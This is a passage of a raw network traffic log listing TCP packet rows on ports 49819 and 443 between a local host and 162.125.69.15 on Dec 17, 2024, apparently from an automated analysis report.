Dec 17, 2024 12:12:56.965379000 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:56.967248917 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:56.993103981 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:56.993151903 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:56.993181944 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:56.993186951 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:56.993228912 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.137252092 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.137299061 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.137351036 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.137365103 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.137403965 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.141664028 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.141705990 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.141738892 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.141743898 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.141768932 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.141777039 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.143943071 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.143985987 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.144011021 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.144016981 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.144062042 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.144077063 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.147725105 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.147768021 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.147800922 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.147805929 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.147895098 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.150703907 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.150749922 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.150765896 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.150772095 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.150814056 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.154228926 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.154272079 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.154320002 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.154325962 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.154369116 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.158027887 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.158070087 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.158097029 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.158102036 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.158144951 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.159295082 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.185240984 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.185286999 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.185313940 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.185321093 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.185350895 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.186789989 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.329313040 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.329370022 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.329421997 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.329436064 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.329463005 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.329485893 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.333121061 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.333192110 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.333208084 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.333236933 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.333265066 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.333280087 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.336078882 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.336142063 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.336165905 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.336225033 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.339890003 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.339940071 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.339961052 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.339967966 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.340003014 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.340023041 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.342837095 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.342881918 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.342907906 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.342921972 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.342953920 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.342978954 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.346360922 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.346416950 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.346462965 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.346468925 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.346503019 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.350085974 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.350155115 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.350172043 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.350514889 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.353136063 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.377418995 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.377468109 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.377494097 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.377500057 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.377563000 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.521730900 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.521783113 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.521826982 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.521833897 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.521883011 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.525450945 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.525496006 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.525538921 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.525543928 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.525554895 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.525641918 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.528744936 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.528789997 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.528827906 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.528832912 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.528867006 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.532182932 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.532228947 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.532273054 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.532286882 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.532315016 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.532391071 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.535303116 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.535366058 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.535379887 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.535394907 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.535428047 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.535634041 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.538661003 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.538703918 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.538759947 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.538767099 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.538793087 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.538817883 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.542886972 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.542932987 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.542958975 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.542964935 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.542996883 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.543010950 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.543206930 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.569787025 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.569809914 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.569873095 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.569880009 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.569921017 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.715131044 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.715193987 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.715255022 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.715279102 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.715296030 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.716346979 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.718767881 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.718811989 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.718864918 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.718871117 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.718880892 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.719013929 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.721995115 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.722039938 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.722098112 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.722103119 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.722116947 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.722135067 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.725159883 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.725200891 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.725265980 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.725275040 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.725284100 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.726013899 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.727852106 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.727893114 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.727933884 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.727938890 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.727972984 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.727979898 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.731698990 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.731740952 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.731790066 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.731796026 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.731806040 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.731827021 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.734723091 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.734761953 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.734826088 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.734832048 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.734852076 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.735017061 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.737808943 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.762238979 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.762284994 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.762365103 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.762377024 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.762407064 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.762425900 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.906920910 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.906974077 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.907042980 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.907061100 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.907083035 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.907099962 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.909938097 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.909990072 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.910002947 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.910018921 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.910043001 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.910059929 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.913670063 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.913711071 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.913758039 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.913764000 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.913788080 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.913805962 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.916723967 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.916769981 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.916794062 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.916800022 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.916883945 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.919720888 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.919764042 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.919795036 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.919800043 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.919828892 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.919845104 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.923835039 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.923887014 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.923927069 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.923932076 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.923942089 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.923969984 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.924000978 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.927375078 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.927438974 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.927448034 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.927474976 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.927503109 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.927520037 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.928462029 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.953957081 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.954005003 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.954071999 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.954088926 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:57.954123020 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:57.954138041 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.099189043 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.099241018 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.099574089 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.099574089 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.099601984 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.099643946 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.101901054 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.101942062 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.101974964 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.101979971 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.102014065 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.102030993 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.105650902 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.105690956 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.105721951 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.105726957 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.105755091 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.105767965 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.108639956 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.108680010 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.108716011 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.108721018 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.108751059 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.108764887 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.112397909 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.112438917 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.112467051 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.112478971 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.112508059 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.112548113 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.115442038 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.115483046 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.115519047 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.115524054 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.115550995 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.115572929 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.116396904 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.119245052 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.119304895 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.119332075 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.119355917 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.119365931 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.119467974 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.133081913 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.146430969 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.146486044 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.146514893 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.146522999 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.146565914 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.146584988 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.148960114 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.291066885 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.291100979 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.291167021 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.291192055 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.291210890 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.291225910 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.294404030 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.294428110 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.294465065 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.294476032 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.294502020 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.294518948 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.297467947 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.297492027 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.297543049 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.297552109 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.297579050 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.297599077 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.301238060 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.301261902 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.301295042 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.301301003 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.301332951 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.304244041 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.304265976 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.304323912 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.304332018 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.304363966 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.308768988 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.308789968 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.308859110 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.308866978 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.309415102 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.311414003 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.311439037 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.311475039 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.311481953 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.311510086 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.311523914 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.312061071 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.338193893 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.338223934 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.338274002 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.338290930 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.338325024 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.338341951 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.483294964 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.483392000 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.483391047 CET	49819	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:58.483422041 CET	443	49819	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:58.483450890 CET	49819	443	192.168.2.5	162.125.69.15
